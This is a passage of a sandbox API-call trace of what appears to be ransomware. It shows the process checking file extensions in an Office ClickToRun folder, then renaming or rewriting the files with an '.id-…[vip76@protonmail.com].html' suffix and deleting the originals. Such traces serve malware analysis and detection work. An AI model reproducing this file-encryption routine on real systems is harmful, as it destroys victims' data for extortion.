	[0078.881] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.881] lstrlenW (lpString=".rar") returned 4
	[0078.881] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.881] lstrlenW (lpString=".bz2") returned 4
	[0078.881] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.881] lstrlenW (lpString=".7z") returned 3
	[0078.881] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0078.881] lstrlenW (lpString=".dbf") returned 4
	[0078.881] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0078.881] lstrlenW (lpString=".1cd") returned 4
	[0078.881] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0078.881] lstrlenW (lpString=".jpg") returned 4
	[0078.881] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0078.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0078.881] lstrlenW (lpString=".doc") returned 4
	[0078.881] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.881] lstrlenW (lpString=".docx") returned 5
	[0078.881] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0078.881] lstrlenW (lpString=".pdf") returned 4
	[0078.882] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.882] lstrlenW (lpString=".xls") returned 4
	[0078.882] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.882] lstrlenW (lpString=".xlsx") returned 5
	[0078.882] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0078.882] lstrlenW (lpString=".ppt") returned 4
	[0078.882] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0078.882] lstrlenW (lpString=".zip") returned 4
	[0078.882] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.882] lstrlenW (lpString=".rar") returned 4
	[0078.882] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.882] lstrlenW (lpString=".bz2") returned 4
	[0078.882] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.882] lstrlenW (lpString=".7z") returned 3
	[0078.882] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0078.882] lstrlenW (lpString=".dbf") returned 4
	[0078.882] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0078.882] lstrlenW (lpString=".1cd") returned 4
	[0078.882] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0078.882] lstrlenW (lpString=".jpg") returned 4
	[0078.882] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.882] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0078.882] lstrlenW (lpString="AppvIsvSubsystems32.dll") returned 23
	[0078.882] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0078.883] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=1761448) returned 1
	[0078.883] CloseHandle (hObject=0x380) returned 1
	[0078.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll")) returned 0x20
	[0078.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0078.883] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[vip76@protonmail.com].html")) returned 1
	[0078.884] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0078.884] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfc64 | out: lpNewFilePointer=0x0) returned 1
	[0078.884] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfc24 | out: lpNewFilePointer=0x0) returned 1
	[0078.884] ReadFile (in: hFile=0x380, lpBuffer=0x3ac3058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fdfc30, lpOverlapped=0x0 | out: lpBuffer=0x3ac3058*, lpNumberOfBytesRead=0x2fdfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0078.889] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x8f58d, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfc24 | out: lpNewFilePointer=0x0) returned 1
	[0078.889] ReadFile (in: hFile=0x380, lpBuffer=0x3b03058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fdfc30, lpOverlapped=0x0 | out: lpBuffer=0x3b03058*, lpNumberOfBytesRead=0x2fdfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0078.892] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2fdfc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0078.892] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x16e0a8, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfc24 | out: lpNewFilePointer=0x0) returned 1
	[0078.892] ReadFile (in: hFile=0x380, lpBuffer=0x3b43058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fdfc30, lpOverlapped=0x0 | out: lpBuffer=0x3b43058*, lpNumberOfBytesRead=0x2fdfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0079.111] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0079.111] WriteFile (in: hFile=0x380, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xc011a, lpNumberOfBytesWritten=0x2fdfca8, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfca8*=0xc011a, lpOverlapped=0x0) returned 1
	[0079.134] SetEndOfFile (hFile=0x380) returned 1
	[0079.134] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x42739c8
	[0079.140] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfc74 | out: lpNewFilePointer=0x0) returned 1
	[0079.140] WriteFile (in: hFile=0x380, lpBuffer=0x42739c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fdfc80, lpOverlapped=0x0 | out: lpBuffer=0x42739c8*, lpNumberOfBytesWritten=0x2fdfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0079.142] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x8f58d, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfc74 | out: lpNewFilePointer=0x0) returned 1
	[0079.142] WriteFile (in: hFile=0x380, lpBuffer=0x42739c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fdfc80, lpOverlapped=0x0 | out: lpBuffer=0x42739c8*, lpNumberOfBytesWritten=0x2fdfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0079.144] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x16e0a8, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfc74 | out: lpNewFilePointer=0x0) returned 1
	[0079.144] WriteFile (in: hFile=0x380, lpBuffer=0x42739c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fdfc80, lpOverlapped=0x0 | out: lpBuffer=0x42739c8*, lpNumberOfBytesWritten=0x2fdfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0079.146] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.147] CloseHandle (hObject=0x380) returned 1
	[0080.408] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0080.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0080.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0080.409] lstrlenW (lpString=".doc") returned 4
	[0080.409] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0080.409] lstrlenW (lpString=".docx") returned 5
	[0080.409] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1
	[0080.409] lstrlenW (lpString=".pdf") returned 4
	[0080.409] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0080.409] lstrlenW (lpString=".xls") returned 4
	[0080.409] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0080.409] lstrlenW (lpString=".xlsx") returned 5
	[0080.409] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1
	[0080.409] lstrlenW (lpString=".ppt") returned 4
	[0080.409] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0080.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0080.409] lstrlenW (lpString=".zip") returned 4
	[0080.409] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0080.409] lstrlenW (lpString=".rar") returned 4
	[0080.409] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0080.409] lstrlenW (lpString=".bz2") returned 4
	[0080.409] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0080.409] lstrlenW (lpString=".7z") returned 3
	[0080.409] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0080.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0080.410] lstrlenW (lpString=".dbf") returned 4
	[0080.410] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0080.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0080.410] lstrlenW (lpString=".1cd") returned 4
	[0080.410] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0080.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0080.410] lstrlenW (lpString=".jpg") returned 4
	[0080.410] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0080.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0080.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0080.410] lstrlenW (lpString=".doc") returned 4
	[0080.410] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0080.410] lstrlenW (lpString=".docx") returned 5
	[0080.410] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1
	[0080.410] lstrlenW (lpString=".pdf") returned 4
	[0080.410] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0080.410] lstrlenW (lpString=".xls") returned 4
	[0080.410] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0080.410] lstrlenW (lpString=".xlsx") returned 5
	[0080.410] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1
	[0080.410] lstrlenW (lpString=".ppt") returned 4
	[0080.410] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0080.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0080.410] lstrlenW (lpString=".zip") returned 4
	[0080.410] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0080.411] lstrlenW (lpString=".rar") returned 4
	[0080.411] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0080.411] lstrlenW (lpString=".bz2") returned 4
	[0080.411] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0080.411] lstrlenW (lpString=".7z") returned 3
	[0080.411] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0080.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0080.411] lstrlenW (lpString=".dbf") returned 4
	[0080.411] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0080.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0080.411] lstrlenW (lpString=".1cd") returned 4
	[0080.411] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0080.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0080.411] lstrlenW (lpString=".jpg") returned 4
	[0080.411] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0080.411] lstrcmpiW (lpString1=".hash", lpString2=".html") returned -1
	[0080.411] lstrlenW (lpString="i640.hash") returned 9
	[0080.411] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0080.421] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=102) returned 1
	[0080.421] CloseHandle (hObject=0x380) returned 1
	[0080.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash")) returned 0x20
	[0080.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0080.422] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0080.422] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.422] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.422] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0080.422] GetLastError () returned 0x0
	[0080.422] ReadFile (in: hFile=0x380, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x66, lpOverlapped=0x0) returned 1
	[0080.423] WriteFile (in: hFile=0x358, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x70, lpOverlapped=0x0) returned 1
	[0080.424] ReadFile (in: hFile=0x380, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.424] WriteFile (in: hFile=0x358, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0xe6, lpOverlapped=0x0) returned 1
	[0080.425] SetEndOfFile (hFile=0x358) returned 1
	[0080.425] CloseHandle (hObject=0x358) returned 1
	[0080.426] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.426] SetEndOfFile (hFile=0x380) returned 1
	[0080.426] CloseHandle (hObject=0x380) returned 1
	[0080.427] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0080.427] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash")) returned 1
	[0080.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0080.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0080.427] lstrlenW (lpString=".doc") returned 4
	[0080.427] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1
	[0080.427] lstrlenW (lpString=".docx") returned 5
	[0080.427] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1
	[0080.427] lstrlenW (lpString=".pdf") returned 4
	[0080.427] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1
	[0080.427] lstrlenW (lpString=".xls") returned 4
	[0080.427] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1
	[0080.427] lstrlenW (lpString=".xlsx") returned 5
	[0080.427] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1
	[0080.427] lstrlenW (lpString=".ppt") returned 4
	[0080.428] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1
	[0080.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0080.428] lstrlenW (lpString=".zip") returned 4
	[0080.428] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1
	[0080.428] lstrlenW (lpString=".rar") returned 4
	[0080.428] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1
	[0080.428] lstrlenW (lpString=".bz2") returned 4
	[0080.428] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1
	[0080.428] lstrlenW (lpString=".7z") returned 3
	[0080.428] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1
	[0080.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0080.428] lstrlenW (lpString=".dbf") returned 4
	[0080.428] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1
	[0080.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0080.428] lstrlenW (lpString=".1cd") returned 4
	[0080.428] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1
	[0080.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0080.428] lstrlenW (lpString=".jpg") returned 4
	[0080.428] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1
	[0080.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0080.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0080.428] lstrlenW (lpString=".doc") returned 4
	[0080.428] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1
	[0080.428] lstrlenW (lpString=".docx") returned 5
	[0080.428] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1
	[0080.428] lstrlenW (lpString=".pdf") returned 4
	[0080.428] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1
	[0080.428] lstrlenW (lpString=".xls") returned 4
	[0080.428] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1
	[0080.428] lstrlenW (lpString=".xlsx") returned 5
	[0080.429] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1
	[0080.429] lstrlenW (lpString=".ppt") returned 4
	[0080.429] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1
	[0080.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0080.429] lstrlenW (lpString=".zip") returned 4
	[0080.429] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1
	[0080.429] lstrlenW (lpString=".rar") returned 4
	[0080.429] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1
	[0080.429] lstrlenW (lpString=".bz2") returned 4
	[0080.429] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1
	[0080.429] lstrlenW (lpString=".7z") returned 3
	[0080.429] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1
	[0080.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0080.429] lstrlenW (lpString=".dbf") returned 4
	[0080.429] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1
	[0080.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0080.429] lstrlenW (lpString=".1cd") returned 4
	[0080.429] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1
	[0080.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0080.429] lstrlenW (lpString=".jpg") returned 4
	[0080.429] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1
	[0080.429] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1
	[0080.429] lstrlenW (lpString="IntegratedOffice.exe") returned 20
	[0080.429] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0080.430] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=1093248) returned 1
	[0080.430] CloseHandle (hObject=0x380) returned 1
	[0080.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe")) returned 0x20
	[0080.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0080.430] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0080.430] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.430] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.430] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0080.430] GetLastError () returned 0x0
	[0080.430] ReadFile (in: hFile=0x380, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0081.357] WriteFile (in: hFile=0x358, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0081.385] ReadFile (in: hFile=0x380, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0xae90, lpOverlapped=0x0) returned 1
	[0081.713] WriteFile (in: hFile=0x358, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xaea0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0xaea0, lpOverlapped=0x0) returned 1
	[0081.716] ReadFile (in: hFile=0x380, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.717] WriteFile (in: hFile=0x358, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0xfc, lpOverlapped=0x0) returned 1
